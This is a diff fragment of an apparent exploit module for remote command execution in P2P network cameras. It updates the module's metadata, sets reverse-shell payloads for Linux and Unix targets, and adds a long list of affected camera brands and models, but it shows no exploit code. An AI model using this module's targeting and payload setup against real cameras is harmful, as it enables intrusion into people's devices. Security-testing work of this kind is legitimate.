+                "Ivan Nikolskiy (enty8080) - module developer",
+                "Pierre Kim (pierrekim) - vulnerability researcher",
             ],
-            'Description': "P2P network camera authenticated remote code execution.",
+            'Description': (
+                "Multiple P2P (Peer-to-Peer) cameras have a vulnerability allowing "
+                "attacker to execute arbitrary commands."
+            ),
             'Platform': OS_LINUX,
-            'Rank': "high",
+            'Rank': HIGH_RANK,
             'Payload': {
-                'Value': "linux/x64/shell_reverse_tcp",
-                'Arches': [ARCH_MIPSLE, ARCH_MIPSBE, ARCH_GENERIC],
-                'Platforms': [OS_LINUX, OS_UNIX],
+                PayloadInlineMixin: {
+                    'Value': "unix/generic/bash_reverse_tcp",
+                    'Platform': [OS_LINUX, OS_UNIX],
+                    'Arch': [ARCH_GENERIC],
+                },
+                PayloadDropMixin: {
+                    'Value': "linux/x64/shell_reverse_tcp",
+                    'Platform': [OS_LINUX, OS_UNIX],
+                    'Arch': [ARCH_MIPSLE, ARCH_MIPSBE],
+                }
+            },
+            'Devices': [
+                '3G+IPCam Other',
+                '3SVISION Other',
+                '3com CASA',
+                '3com Other',
+                '3xLogic Other',
+                '3xLogic Radio',
+                '4UCAM Other',
+                '4XEM Other',
+                '555 Other',
+                '7Links 3677',
+                '7Links 3677-675',
+                '7Links 3720-675',
+                '7Links 3720-919',
+                '7Links IP-Cam-in',
+                '7Links IP-Wi-Fi',
+                '7Links IPC-760HD',
+                '7Links IPC-770HD',
+                '7Links Incam',
+                '7Links Other',
+                '7Links PX-3615-675',
+                '7Links PX-3671-675',
+                '7Links PX-3720-675',
+                '7Links PX3309',
+                '7Links PX3615',
+                '7Links ipc-720',
+                '7Links px-3675',
+                '7Links px-3719-675',
+                '7Links px-3720-675',
+                'A4Tech Other',
+                'ABS Other',
+                'ADT RC8021W',
+                'AGUILERA AQUILERA',
+                'AJT AJT-019129-BBCEF',
+                'ALinking ALC',
+                'ALinking Other',
+                'ALinking dax',
+                'AMC Other',
+                'ANRAN ip180',
+                'APKLINK Other',
+                'AQUILA AV-IPE03',
+                'AQUILA AV-IPE04',
+                'AVACOM 5060',
+                'AVACOM 5980',
+                'AVACOM H5060W',
+                'AVACOM NEW',
+                'AVACOM Other',
+                'AVACOM h5060w',
+                'AVACOM h5080w',
+                'Acromedia IN-010',
+                'Acromedia Other',
+                'Advance Other',
+                'Advanced+home lc-1140',
+                'Aeoss J6358',
+                'Aetos 400w',
+                'Agasio A500W',
+                'Agasio A502W',
+                'Agasio A512',
+                'Agasio A533W',
+                'Agasio A602W',
+                'Agasio A603W',
+                'Agasio Other',
+                'AirLink Other',
+                'Airmobi HSC321',
+                'Airsight Other',
+                'Airsight X10',
+                'Airsight X34A',
+                'Airsight X36A',
+                'Airsight XC39A',
+                'Airsight XX34A',
+                'Airsight XX36A',
+                'Airsight XX40A',
+                'Airsight XX60A',
+                'Airsight x10',
+                'Airsight x10Airsight',
+                'Airsight xc36a',
+                'Airsight xc49a',
+                'Airsight xx39A',
+                'Airsight xx40a',
+                'Airsight xx49a',
+                'Airsight xx51A',
+                'Airsight xx51a',
+                'Airsight xx52a',
+                'Airsight xx59a',
+                'Airsight xx60a',
+                'Akai AK7400',
+                'Akai SP-T03WP',
+                'Alecto 150',
+                'Alecto Atheros',
+                'Alecto DVC-125IP',
+                'Alecto DVC-150-IP',
+                'Alecto DVC-1601',
+                'Alecto DVC-215IP',
+                'Alecto DVC-255-IP',
+                'Alecto dv150',
+                'Alecto dvc-150ip',
+                'Alfa 0002HD',
+                'Alfa Other',
+                'Allnet 2213',
+                'Allnet ALL2212',
+                'Allnet ALL2213',
+                'Amovision Other',
+                'Android+IP+cam IPwebcam',
+                'Anjiel ip-sd-sh13d',
+                'Apexis AH9063CW',
+                'Apexis APM-H803-WS',
+                'Apexis APM-H804-WS',
+                'Apexis APM-J011',
+                'Apexis APM-J011-Richard',
+                'Apexis APM-J011-WS',
+                'Apexis APM-J012',
+                'Apexis APM-J012-WS',
+                'Apexis APM-J0233',
+                'Apexis APM-J8015-WS',
+                'Apexis GENERIC',
+                'Apexis H',
+                'Apexis HD',
+                'Apexis J',
+                'Apexis Other',
+                'Apexis PIPCAM8',
+                'Apexis Pyle',
+                'Apexis XF-IP49',
+                'Apexis apexis',
+                'Apexis apm-',
+                'Apexis dealextreme',
+                'Aquila+Vizion Other',
+                'Area51 Other',
+                'ArmorView Other',
+                'Asagio A622W',
+                'Asagio Other',
+                'Asgari 720U',
+                'Asgari Other',
+                'Asgari PTG2',
+                'Asgari UIR-G2',
+                'Atheros ar9285',
+                'AvantGarde SUMPPLE',
+                'Axis 1054',
+                'Axis 241S',
+                'B-Qtech Other',
+                'B-Series B-1',
+                'BRAUN HD-560',
+                'BRAUN HD505',
+                'Beaulieu Other',
+                'Bionics Other',
+                'Bionics ROBOCAM',
+                'Bionics Robocam',
+                'Bionics T6892WP',
+                'Bionics t6892wp',
+                'Black+Label B2601',
+                'Bravolink Other',
+                'Breno Other',
+                'CDR+king APM-J011-WS',
+                'CDR+king Other',
+                'CDR+king SEC-015-C',
+                'CDR+king SEC-016-NE',
+                'CDR+king SEC-028-NE',
+                'CDR+king SEC-029-NE',
+                'CDR+king SEC-039-NE',
+                'CDR+king sec-016-ne',
+                'CDXX Other',
+                'CDXXcamera Any',
+                'CP+PLUS CP-EPK-HC10L1',
+                'CPTCAM Other',
+                'Camscam JWEV-372869-BCBAB',
+                'Casa Other',
+                'Cengiz Other',
+                'Chinavasion Gunnie',
+                'Chinavasion H30',
+                'Chinavasion IP611W',
+                'Chinavasion Other',
+                'Chinavasion ip609aw',
+                'Chinavasion ip611w',
+                'Cloud MV1',
+                'Cloud Other',
+                'CnM IP103',
+                'CnM Other',
+                'CnM sec-ip-cam',
+                'Compro NC150/420/500',
+                'Comtac CS2',
+                'Comtac CS9267',
+                'Conceptronic CIPCAM720PTIWL',
+                'Conceptronic cipcamptiwl',
+                'Cybernova Other',
+                'Cybernova WIP604',
+                'Cybernova WIP604MW',
+                'D-Link DCS-910',
+                'D-Link DCS-930L',
+                'D-Link L-series',
+                'D-Link Other',
+                'DB+Power 003arfu',
+                'DB+Power DBPOWER',
+                'DB+Power ERIK',
+                'DB+Power HC-WV06',
+                'DB+Power HD011P',
+                'DB+Power HD012P',
+                'DB+Power HD015P',
+                'DB+Power L-615W',
+                'DB+Power LA040',
+                'DB+Power Other',
+                'DB+Power Other2',
+                'DB+Power VA-033K',
+                'DB+Power VA0038K',
+                'DB+Power VA003K+',
+                'DB+Power VA0044_M',
+                'DB+Power VA033K',
+                'DB+Power VA033K+',
+                'DB+Power VA035K',
+                'DB+Power VA036K',
+                'DB+Power VA038',
+                'DB+Power VA038k',
+                'DB+Power VA039K',
+                'DB+Power VA039K-Test',
+                'DB+Power VA040',
+                'DB+Power VA390k',
+                'DB+Power b',
+                'DB+Power b-series',
+                'DB+Power extcams',
+                'DB+Power eye',
+                'DB+Power kiskFirstCam',
+                'DB+Power va033k',
+                'DB+Power va039k',
+                'DB+Power wifi',
+                'DBB IP607W',
+                'DEVICECLIENTQ CNB',
+                'DKSEG Other',
+                'DNT CamDoo',
+                'DVR DVR',
+                'DVS-IP-CAM Other',
+                'DVS-IP-CAM Outdoor/IR',
+                'Dagro DAGRO-003368-JLWYX',
+                'Dagro Other',
+                'Dericam H216W',
+                'Dericam H502W',
+                'Dericam M01W',
+                'Dericam M2/6/8',
+                'Dericam M502W',
+                'Dericam M601W',
+                'Dericam M801W',
+                'Dericam Other',
+                'Digix Other',
+                'Digoo BB-M2',
+                'Digoo MM==BB-M2',
+                'Digoo bb-m2',
+                'Dinon 8673',
+                'Dinon 8675',
+                'Dinon SEGEV-105',
+                'Dinon segev-103',
+                'Dome Other',
+                'Drilling+machines Other',
+                'E-Lock 1000',
+                'ENSIDIO IP102W',
+                'EOpen Open730',
+                'EST ES-IP602IW',
+                'EST IP743W',
+                'EST Other',
+                'EZCam EPK-EP10L1',
+                'EZCam EZCam',
+                'EZCam Other',
+                'EZCam PAN/TILT',
+                'EZCam Pan/Tilt',
+                'EasyCam EC-101HD',
+                'EasyCam EC-101HDSD',
+                'EasyCam EC-101SD',
+                'EasyCam EC-102',
+                'EasyCam Other',
+                'EasyN 187',
+                'EasyN 1BF',
+                'EasyN 720P',
+                'EasyN F',
+                'EasyN F-136',
+                'EasyN F-M136',
+                'EasyN F-M166',
+                'EasyN F-M181',
+                'EasyN F-M1b1',
+                'EasyN F-SERIES',
+                'EasyN F133',
+                'EasyN F2-611B',
+                'EasyN F3',
+                'EasyN F3-166',
+                'EasyN F3-176M',
+                'EasyN F3-M166',
+                'EasyN F3-SERIES',
+                'EasyN F3-Series',
+                'EasyN F3-m187',
+                'EasyN F3M187',
+                'EasyN FS-613A-M136',
+                'EasyN FS-613B',
+                'EasyN FS-613B-M166',
+                'EasyN FS-613B-MJPEG',
+                'EasyN FS613',
+                'EasyN F_M10R',
+                'EasyN H3-V10R',
+                'EasyN H6-M137h',
+                'EasyN M091',
+                'EasyN Other',
+                'EasyN est-007660-611b',
+                'EasyN est-007660333',
+                'EasyN f',
+                'EasyN f-Series',
+                'EasyN f138',
+                'EasyN f_series',
+                'EasyN fseries',
+                'EasyN kitch',
+                'EasyN s',
+                'EasySE F/B/N/I',
+                'EasySE H3',
+                'EasySE H3e',
+                'EasySE Other',
+                'Ebode IPV38W',
+                'Ebode IPV58',
+                'Ebode Other',
+                'Ego Other',
+                'Elro 901',
+                'Elro 903',
+                'Elro 903IP',
+                'Elro C7031P',
+                'Elro C703IP2',
+                'Elro C704-IP',
+                'Elro C704IP',
+                'Elro C704IP.2',
+                'Elro C704ip',
+                'Elro C803IP',
+                'Elro C903IP',
+                'Elro C903IP.2',
+                'Elro C904IP',
+                'Elro C904IP.2',
+                'Elro IP901',
+                'Elro Other',
+                'Eminent 6564',
+                'Eminent EM6220',
+                'Eminent EM6564',
+                'Eminent em6220',
+                'Esky C5900',
+                'Esky L',
+                'Esky Live',
+                'Esky c5900',
+                'Eura-Tech IC-03C3',
+                'EyeCam ICAM-608',
+                'EyeCam IP65IW',
+                'EyeCam Other',
+                'EyeCam STORAGEOPTIONS',
+                'EyeIPCam IP901W',
+                'EyeSight ES-IP607W',
+                'EyeSight ES-IP811W',
+                'EyeSight ES-IP909IW',
+                'EyeSight ES-IP935FW',
+                'EyeSight ES-IP935IW',
+                'EyeSight IP910IW',
+                'EyeSight IP915IW',
+                'EyeSight Other',
+                'EyeSight ip609IW',
+                'EyeSight ip909iw',
+                'EyeSight ip915iw',
+                'EyeSight mjpeg',
+                'EyeSpy247 Other',
+                'F-Series FSERIES',
+                'F-Series Ip',
+                'F-Series Other',
+                'F-Series ip',
+                'First+Concept Other',
+                'Focuscam F19821W',
+                'Foscam FI18904w',
+                'Foscam FI18905E',
+                'Foscam FI18905W',
+                'Foscam FI18906w',
+                'Foscam FI1890W',
+                'Foscam FI18910E',
+                'Foscam FI18910W',
+                'Foscam FI18910w',
+                'Foscam FI18916W',
+                'Foscam FI18918W',
+                'Foscam FI18919W',
+                'Foscam FI19810W',
+                'Foscam FI8094W',
+                'Foscam FI81904W',
+                'Foscam FI8601W',
+                'Foscam FI8602W',
+                'Foscam FI8606W',
+                'Foscam FI8610w',
+                'Foscam FI8903W',
+                'Foscam FI8903W_Elita',
+                'Foscam FI8904',
+                'Foscam FI8904W',
+                'Foscam FI8905E',
+                'Foscam FI8905W',
+                'Foscam FI8905w',
+                'Foscam FI8906w',
+                'Foscam FI8907W',
+                'Foscam FI8908W',
+                'Foscam FI8909W',
+                'Foscam FI890W',
+                'Foscam FI8910',
+                'Foscam FI8910E',
+                'Foscam FI8910W',
+                'Foscam FI8910W_DW',
+                'Foscam FI8910w',
+                'Foscam FI8916W',
+                'Foscam FI8918',
+                'Foscam FI89180w',
+                'Foscam FI8918E',
+                'Foscam FI8918W',
+                'Foscam FI8918w',
+                'Foscam FI8919W',
+                'Foscam FI9804W',
+                'Foscam FI9805E',
+                'Foscam FI9810',
+                'Foscam FI9810W',
+                'Foscam FI9818',
+                'Foscam FI9820w',
+                'Foscam FI9821W',
+                'Foscam FI9821w',
+                'Foscam FL8910',
+                'Foscam FS18908W',
+                'Foscam FS8910',
+                'Foscam Fi8910',
+                'Foscam Other',
+                'Foscam fI8989w',
+                'Foscam fi1890w',
+                'Foscam fl8910w',
+                'FoxCam PTZ2084-L',
+                'GIGA gb',
+                'GT+ROAD HS-006344-SPSLM',
+                'General Other',
+                'Generic All-in-one',
+                'Generic Billy',
+                'Generic DomeA-Outdoor',
+                'Generic IP',
+                'Generic Other',
+                'Gi-star+srl IP6031W',
+                'Gigaeye GB',
+                'GoAhead EC-101SD',
+                'GoAhead GoAheadWebs',
+                'GoAhead IPCAM1',
+                'GoAhead IPCAM2',
+                'GoAhead Other',
+                'GoAhead thedon',
+                'GoCam Other',
+                'Goclever EYE',
+                'Goclever EYE2',
+                'Gotake GTK-TH01B',
+                'H+264+network+DVR 720p',
+                'H+264+network+DVR Other',
+                'H.264 Other',
+                'H6837WI Other',
+                'HD+IPC Other',
+                'HD+IPC SV3C',
+                'HDIPCAM Other',
+                'Heden CAMH04IPWE',
+                'Heden CAMHED02IPW',
+                'Heden CAMHED04IP',
+                'Heden CAMHED04IPWN',
+                'Heden CAMHEDIPWP',
+                'Heden Other',
+                'Heden VisionCam',
+                'Heden visionCam',
+                'HiSilicon Other',
+                'Hikvision DS-2CD2132',
+                'Histream RTSP',
+                'HooToo F-SERIES',
+                'HooToo HOOTOO',
+                'HooToo HT-IP006',
+                'HooToo HT-IP006N',
+                'HooToo HT-IP009HDP',
+                'HooToo HT-IP206',
+                'HooToo HT-IP207F',
+                'HooToo HT-IP210HDP',
+                'HooToo HT-IP210P',
+                'HooToo HT-IP212',
+                'HooToo IP009HDP',
+                'HooToo Other',
+                'HooToo apm-h803-mpc',
+                'Hsmartlink Other',
+                'Hungtek WIFI',
+                'ICAMView Other',
+                'ICam I908W',
+                'ICam IP-1',
+                'ICam Other',
+                'ICam Other2',
+                'ICam dome',
+                'INISOFT-CAM Stan',
+                'INSTAR 4010',
+                'INVID Other',
+                'IO+Data Other',
+                'IP66 Other',
+                'IPC IPC02',
+                'IPC Other',
+                'IPC S5030-TF',
+                'IPC S5030-m',
+                'IPC SRICAM',
+                'IPCC 3XPTZ',
+                'IPCC 7210W',
+                'IPCC IPCC-7210W',
+                'IPCC x01',
+                'IPTeles Other',
+                'IPUX ip-100',
+                'ISIT Other',
+                'IZOtech Other',
+                'IZTOUCH 0009',
+                'IZTOUCH A001',
+                'IZTOUCH IZ-009',
+                'IZTOUCH LTH-A8645-c15',
+                'IZTOUCH Other',
+                'IZTOUCH Other1',
+                'IZTOUCH ap001',
+                'IeGeek Other',
+                'IeGeek ukn',
+                'Inkovideo V-104',
+                'Iprobot3 Other',
+                'JRECam JM3866W',
+                'JWcam JWEV',
+                'JWcam Other',
+                'Jaycar 3834',
+                'Jaycar 720P',
+                'Jaycar Other',
+                'Jaycar QC-3831',
+                'Jaycar QC-3832',
+                'Jaycar QC-3834',
+                'Jaycar QC-3836',
+                'Jaycar QC-3839',
+                'Jaytech IP6021W',
+                'JhempCAM Back',
+                'JhempCAM Other',
+                'KaiKong 1601',
+                'KaiKong 1602w',
+                'KaiKong Other',
+                'KaiKong SIP',
+                'KaiKong SIP1602',
+                'KaiKong SIP1602W',
+                'KaiKong sip',
+                'KaiKong sip1602w',
+                'Kenton gjc02',
+                'Kinson C720PWIP',
+                'Klok Other',
+                'Knewmart KW01B',
+                'Knewmart KW02B',
+                'Kogan KAIPC01BLKA',
+                'Kogan KAIPCO1BLKA',
+                'Kogan Other',
+                'Kogan encoder',
+                'Kogan kaipc01blkb',
+                'Kompernass IUK',
+                'Koolertron Other',
+                'Koolertron PnP',
+                'Koolertron SP-SHEX21-SL',
+                'LC+security Other',
+                'LW lw-h264tf',
+                'LYD H1385H',
+                'Lager Other',
+                'Leadtek C351',
+                'LevelOne 1010/2010',
+                'Libor Other',
+                'LifeTech MyLifeTech',
+                'LifeTech Other',
+                'LifeTech dd',
+                'Lilly Other',
+                'Linq Other',
+                'Lloyds 1107',
+                'Loftek CXS',
+                'Loftek Nexus',
+                'Loftek Other',
+                'Loftek SPECTOR',
+                'Loftek Sendinel',
+                'Loftek Sentinel',
+                'LogiLink WC0030A',
+                'LogiLink wc0044',
+                'Logitech C920',
+                'MCL 610',
+                'MJPEG Other',
+                'Maginon 100',
+                'Maginon 10AC',
+                'Maginon 20C',
+                'Maginon IP-20c',
+                'Maginon IPC',
+                'Maginon IPC-1',
+                'Maginon IPC-10',
+                'Maginon IPC-100',
+                'Maginon IPC-100AC',
+                'Maginon IPC-10AC',
+                'Maginon IPC-2',
+                'Maginon IPC-20',
+                'Maginon IPC20C',
+                'Maginon IPC_1A',
+                'Maginon Other',
+                'Maginon SUPRA',
+                'Maginon Supra',
+                'Maginon ipc',
+                'Maginon ipc-1a',
+                'Maginon ipc100a',
+                'Maginon ipx',
+                'Maginon w2',
+                'Marmitek GM-8126',
+                'Maygion IP',
+                'Maygion OTHER2',
+                'Maygion Other',
+                'Maygion V3',
+                'Maygion black',
+                'Mediatech mt4050',
+                'Medisana SmartBabyMonitor',
+                'Merlin IP',
+                'Merlin Other',
+                'Merlin vstc',
+                'Messoa Other',
+                'Mingyoushi S6203Y-WR',
+                'Momentum 2002',
+                'Momentum MO-CAM',
+                'NEXCOM S-CAM',
+                'NIP NIP-004500-KMTLU',
+                'NIP NIP-075007-UPHTF',
+                'NIP NIP-11BGPW',
+                'NIP NIP-14',
+                'NTSE Other',
+                'Neewer Other',
+                'Neewer V-100',
+                'Neo+CoolCam NIP',
+                'Neo+CoolCam NIP-02(OAM)',
+                'Neo+CoolCam NIP-06',
+                'Neo+CoolCam NIP-066777-BWESL',
+                'Neo+CoolCam NIP-102428-DFBEF',
+                'Neo+CoolCam NIP-H20(OZX)',
+                'Neo+CoolCam OBJ-007260-LYLDU',
+                'Neo+CoolCam Other',
+                'Neo+CoolCam neo',
+                'Neo+CoolCam nip-11',
+                'Neo+CoolCam nip-20',
+                'Ness Other',
+                'NetView Other',
+                'Netcam Dual-HD',
+                'Netcam HSL-232245-CWXES',
+                'Netcam OUVIS',
+                'Netcam Other',
+                'Netware Other',
+                'Nexxt+Solution Xpy',
+                'Nixzen Other',
+                'NorthQ NQ-9006',
+                'Office+One CM-I11123BK',
+                'Office+One IP-900',
+                'Office+One IP-99',
+                'Office+One Other',
+                'Office+One SC-10IP',
+                'Office+One ip-900',
+                'Office+One ip900',
+                'Opexia OPCS',
+                'Optica+Video FI-8903W',
+                'Optica+Video FI-8918W',
+                'Optica+Video Other',
+                'Otto 4eye',
+                'Overmax CamSpot',
+                'Overmax Camspot',
+                'OwlCam CP-6M201W',
+                'P2p wificam',
+                'PCS Other',
+                'Panasonic BL-C131A',
+                'PeopleFu IPC-674',
+                'PeopleFu IPCAM1',
+                'PeopleFu IPCAM2',
+                'PeopleFu IPCAM3',
+                'PeopleFu IPCAM5',
+                'Pixpo 1Z074A2A0301627785',
+                'Pixpo PIX006428BFYZY',
+                'Pixpo PIX009491MLJYM',
+                'Pixpo PIX009495HURFE',
+                'Pixpo PIX010584DFACE',
+                'Plaisio IP',
+                'Planex Other',
+                'Planex PLANEX',
+                'Polariod P351S',
+                'Polaroid IP-100',
+                'Polaroid IP-101W',
+                'Polaroid IP-200B',
+                'Polaroid IP-201B',
+                'Polaroid IP-350',
+                'Polaroid IP-351S',
+                'Polaroid IP-360S',
+                'Polaroid IP-810W',
+                'Polaroid IP-810WZ',
+                'Polaroid Other',
+                'Polaroid POLIP101W',
+                'Polaroid POLIP201B',
+                'Polaroid POLIP201W',
+                'Polaroid POLIP351S',
+                'Polaroid POLIP35i5',
+                'PowerLead Caue',
+                'PowerLead PC012',
+                'ProveCam IP2521',
+                'Provision 717',
+                'Provision F-717',
+                'Provision F-737',
+                'Provision PT-737',
+                'Provision WP-711',
+                'Provision WP-717P',
+                'Pyle HD',
+                'Pyle HD22',
+                'Pyle HD46',
+                'Pyle Mine',
+                'Pyle PIPCAM15',
+                'Pyle Pipcam12',
+                'Pyle cam5',
+                'Pyle pipcam25',
+                'Pyle pipcam5',
+                'Q-nest QN-100S',
+                'Q-nest qn-100s',
+                'Queback 720p',
+                'ROCAM NC-400',
+                'ROCAM NC-500',
+                'ROCAM NC300',
+                'ROCAM NC300-1',
+                'ROHS IP',
+                'ROHS none',
+                'RTX 06R',
+                'RTX DVS',
+                'RTX IP-06R',
+                'RTX IP-26H',
+                'RTX Other',
+                'Rollei safetycam-10hd',
+                'SES Other',
+                'SKJM Other',
+                'SST SST-CNS-BUI18',
+                'SVB+International SIP-018262-RYERR',
+                'SafeHome 278042',
+                'SafeHome 616-W',
+                'SafeHome IP601W-hd',
+                'SafeHome Other',
+                'SafeHome VGA',
+                'SafeHome iprobot',
+                'Samsung Other',
+                'Santec-Video Other',
+                'Sarotech IPCAM-1000',
+                'Sarotech ip300',
+                'Scricam 004',
+                'Scricam 192.168.1.7',
+                'Scricam AP-004',
+                'Scricam AP-009',
+                'Scricam AP0006',
+                'Scricam AP006',
+                'Secam+CCTV IPCAM',
+                'Secam+CCTV Other',
+                'Seculink 10709',
+                'Seculink Other',
+                'Secur+Eye xxc5330',
+                'Seisa JK-H616WS',
+                'Senao PTZ-01H',
+                'Sequrecam Other',
+                'Sequrecam PNP-125',
+                'Sercomm Other',
+                'Shenwhen+Neo+Electronic+Co NC-541',
+                'Shenwhen+Neo+Electronic+Co Other',
+                'Shenwhen+Neo+Electronic+Co X-5000B',
+                'Shenzhen 720P',
+                'Shixin+China IP-129HW',
+                'Siepem IPC',
+                'Siepem S5001Y-BW',
+                'Siepem S6203y',
+                'Siepem S6211Y-WR',
+                'Simi+IP+Camera+Viewer Other',
+                'Sineoji Other',
+                'Sineoji PT-315V',
+                'Sineoji PT-3215P',
+                'Sineoji PT-325IP',
+                'Sinocam Other',
+                'Sky+Genious Genious',
+                'Skytronic IP',
+                'Skytronic IP99',
+                'Skytronic Other',
+                'Skytronic WiFi',
+                'Skytronic dome',
+                'SmartEye Other',
+                'SmartWares C723IP',
+                'SmartWares c724ip',
+                'SmartWares c923ip',
+                'SmartWares c924ip',
+                'Solwise SEC-1002W-IR',
+                'Spy+Cameras WF-100PCX',
+                'Spy+Cameras WF-110V',
+                'Sricam 0001',
+                'Sricam 004',
+                'Sricam A0009',
+                'Sricam A001',
+                'Sricam AP-001',
+                'Sricam AP-003',
+                'Sricam AP-004',
+                'Sricam AP-005',
+                'Sricam AP-006',
+                'Sricam AP-009',
+                'Sricam AP-012',
+                'Sricam AP-CAM',
+                'Sricam AP0009',
+                'Sricam AP002',
+                'Sricam AP995',
+                'Sricam Cam1',
+                'Sricam Front',
+                'Sricam Home',
+                'Sricam Other',
+                'Sricam SP005',
+                'Sricam SP012',
+                'Sricam SP013',
+                'Sricam SP015',
+                'Sricam SRICAM',
+                'Sricam SRICAM1',
+                'Sricam aj-c2wa-c118',
+                'Sricam ap',
+                'Sricam ap006',
+                'Sricam ap1',
+                'Sricam h.264',
+                'Sricam sp013',
+                'Sricctv A-0006',
+                'Sricctv A-009',
+                'Sricctv AJ-006',
+                'Sricctv AP-0001',
+                'Sricctv AP-0005',
+                'Sricctv AP-0009',
+                'Sricctv AP-001',
+                'Sricctv AP-002',
+                'Sricctv AP-003',
+                'Sricctv AP-004',
+                'Sricctv AP-004AF',
+                'Sricctv AP-005',
+                'Sricctv AP-006',
+                'Sricctv AP-007',
+                'Sricctv AP-008',
+                'Sricctv AP-009',
+                'Sricctv AP-011',
+                'Sricctv AP-014',
+                'Sricctv H-264',
+                'Sricctv Other',
+                'Sricctv P2P-BLACK',
+                'Sricctv P2P-Black',
+                'Sricctv SP-007',
+                'Sricctv SR-001',
+                'Sricctv SR-004',
+                'Star+Vedia 6836',
+                'Star+Vedia 7837-WIP',
+                'Star+Vedia C-7835WIP',
+                'Star+Vedia Other',
+                'Star+Vedia T-6836WTP',
+                'Star+Vedia T-7833WIP',
+                'Star+Vedia T-7837WIP',
+                'Star+Vedia T-7838WIP',
+                'StarCam C33-X4',
+                'StarCam EY4',
+                'StarCam F6836W',
+                'StarCam Other',
+                'StarCam c7837wip',
+                'Stipelectronics Other',
+                'Storage+Options HOMEGUARD',
+                'Storage+Options Other',
+                'Storage+Options SON-IPC1',
+                'Sumpple 610',
+                'Sumpple 610S',
+                'Sumpple 631',
+                'Sumpple 960P',
+                'Sumpple S601',
+                'Sumpple S610',
+                'Sumpple S631',
+                'Sumpple S651',
+                'Sumpple qd300',
+                'Sumpple s631',
+                'SunVision+US Other',
+                'Sunbio Other',
+                'Suneyes Other',
+                'Suneyes SP-T01EWP',
+                'Suneyes SP-T01WP',
+                'Suneyes SP-TM01EWP',
+                'Suneyes SP-TM01WP',
+                'Suneyes SP-tm05wp',
+                'Sunluxy H-264',
+                'Sunluxy HZCam',
+                'Sunluxy Other',
+                'Sunluxy PTZ',
+                'Sunluxy SL-701',
+                'Supra+Space IPC',
+                'Supra+Space IPC-1',
+                'Supra+Space IPC-100AC',
+                'Supra+Space IPC-10AC',
+                'Supra+Space Other11',
+                'Supra+Space ipc-20c',
+                'Sure-Eye Other',
+                'Surecom LN-400',
+                'Swann 005FTCD',
+                'Swann 440',
+                'Swann 440-IPC',
+                'Swann ADS-440',
+                'Swann ADS-440-PTZ',
+                'Swann ADS-CAMAX1',
+                'Swann Other',
+                'Swann SWADS-440-IPC',
+                'Swann SWADS-440IPC-AU',
+                'Sygonix 43176A',
+                'Sygonix 43558A',
+                'Szneo CAM0X',
+                'Szneo CoolCam',
+                'Szneo NIP',
+                'Szneo NIP-0',
+                'Szneo NIP-02',
+                'Szneo NIP-031',
+                'Szneo NIP-031H',
+                'Szneo NIP-06',
+                'Szneo NIP-12',
+                'Szneo NIP-2',
+                'Szneo NIP-20',
+                'Szneo NIP-210485-ABABC',
+                'Szneo NIP-26',
+                'Szneo NIP-X',
+                'Szneo NP-254095',
+                'Szneo Other',
+                'Szneo TFD',
+                'TAS-Tech Other',
+                'Technaxx tx-23',
+                'Techview GM8126',
+                'Techview QC-3638',
+                'Techview qc3839',
+                'Temvis Other',
+                'Tenda C50S',
+                'Tenda c30',
+                'Tenda c5+',
+                'Tenvis 0012',
+                'Tenvis 3815',
+                'Tenvis 3815-W',
+                'Tenvis 3815W',
+                'Tenvis 3815W.',
+                'Tenvis 3815W2013',
+                'Tenvis IP-319W',
+                'Tenvis IP-319w',
+                'Tenvis IP-391W',
+                'Tenvis IP-391WHD',
+                'Tenvis IP-602W',
+                'Tenvis IP602W',
+                'Tenvis IPROBOT',
+                'Tenvis JP-3815W',
+                'Tenvis JPT-3814WP2P',
+                'Tenvis JPT-3815',
+                'Tenvis JPT-3815-P2P',
+                'Tenvis JPT-3815W',
+                'Tenvis JPT-3815W+',
+                'Tenvis JPT-3815WP2P',
+                'Tenvis JPT-3815w',
+                'Tenvis JPT-3818',
+                'Tenvis MINI-319W',
+                'Tenvis Mini-319',
+                'Tenvis Other',
+                'Tenvis PT-7131W',
+                'Tenvis TH-661',
+                'Tenvis TR-3818',
+                'Tenvis TR-3828',
+                'Tenvis TR3815W',
+                'Tenvis TZ100',
+                'Tenvis TZ100/IPROBOT3',
+                'Tenvus JPG3815W',
+                'Threeboy IP-660',
+                'Topcam SL-30IPC01Z',
+                'Topcam SL-720IPC02Z',
+                'Topcam SL-910IW30',
+                'Topica+CCTV Other',
+                'Trivision NC-335PW-HD-10',
+                'Trust NW-7500',
+                'Turbo+X Endurance',
+                'Turbo+X IIPC-20',
+                'Uokoo 720P',
+                'VCatch Other',
+                'VCatch VC-MIC720HK',
+                'Valtronics IP',
+                'Valtronics Other',
+                'Vandesc IP900',
+                'Vantech Other',
+                'Vantech PTZ',
+                'Videosec+Security IPC-103',
+                'Videosec+Security IPP-105',
+                'Vimicro Other',
+                'Vitek+CCTV Other',
+                'Vstarcam 7823',
+                'Vstarcam C-7824WIP',
+                'Vstarcam C-7833WIP-X4',
+                'Vstarcam C-7833wip',
+                'Vstarcam C-7837WIP',
+                'Vstarcam C-7838WIP',
+                'Vstarcam C50S',
+                'Vstarcam C7816W',
+                'Vstarcam C7824WIP',
+                'Vstarcam C782WIP',
+                'Vstarcam C7842WIP',
+                'Vstarcam C93',
+                'Vstarcam C=7824WIP',
+                'Vstarcam Cam360',
+                'Vstarcam F-6836W',
+                'Vstarcam H-6837WI',
+                'Vstarcam H-6837WIP',
+                'Vstarcam H-6850',
+                'Vstarcam H-6850WIP',
+                'Vstarcam H-6850wip',
+                'Vstarcam ICAM-608',
+                'Vstarcam Other',
+                'Vstarcam T-6835WIP',
+                'Vstarcam T-6836WTP',
+                'Vstarcam T-6892wp',
+                'Vstarcam T-7815WIP',
+                'Vstarcam T-7833WIP',
+                'Vstarcam T-7833wip',
+                'Vstarcam T-7837WIP',
+                'Vstarcam T-7838WIP',
+                'Vstarcam T-7892WIP',
+                'Vstarcam T6836WTP',
+                'Vstarcam T7837WIP',
+                'Vstarcam c7815wip',
+                'Vstarcam c7833wip',
+                'Vstarcam c7850wip',
+                'Wanscam 00D6FB01980F',
+                'Wanscam 106B',
+                'Wanscam 118',
+                'Wanscam 541-W',
+                'Wanscam 543-W',
+                'Wanscam 790',
+                'Wanscam AJ-C0WA-198',
+                'Wanscam AJ-C0WA-B106',
+                'Wanscam AJ-C0WA-B116',
+                'Wanscam AJ-C0WA-B168',
+                'Wanscam AJ-C0WA-B1D8',
+                'Wanscam AJ-C0WA-C0D8',
+                'Wanscam AJ-C0WA-C116',
+                'Wanscam AJ-C0WA-C126',
+                'Wanscam AJ-C2WA-B118',
+                'Wanscam AJ-C2WA-C116',
+                'Wanscam AJ-C2WA-C118',
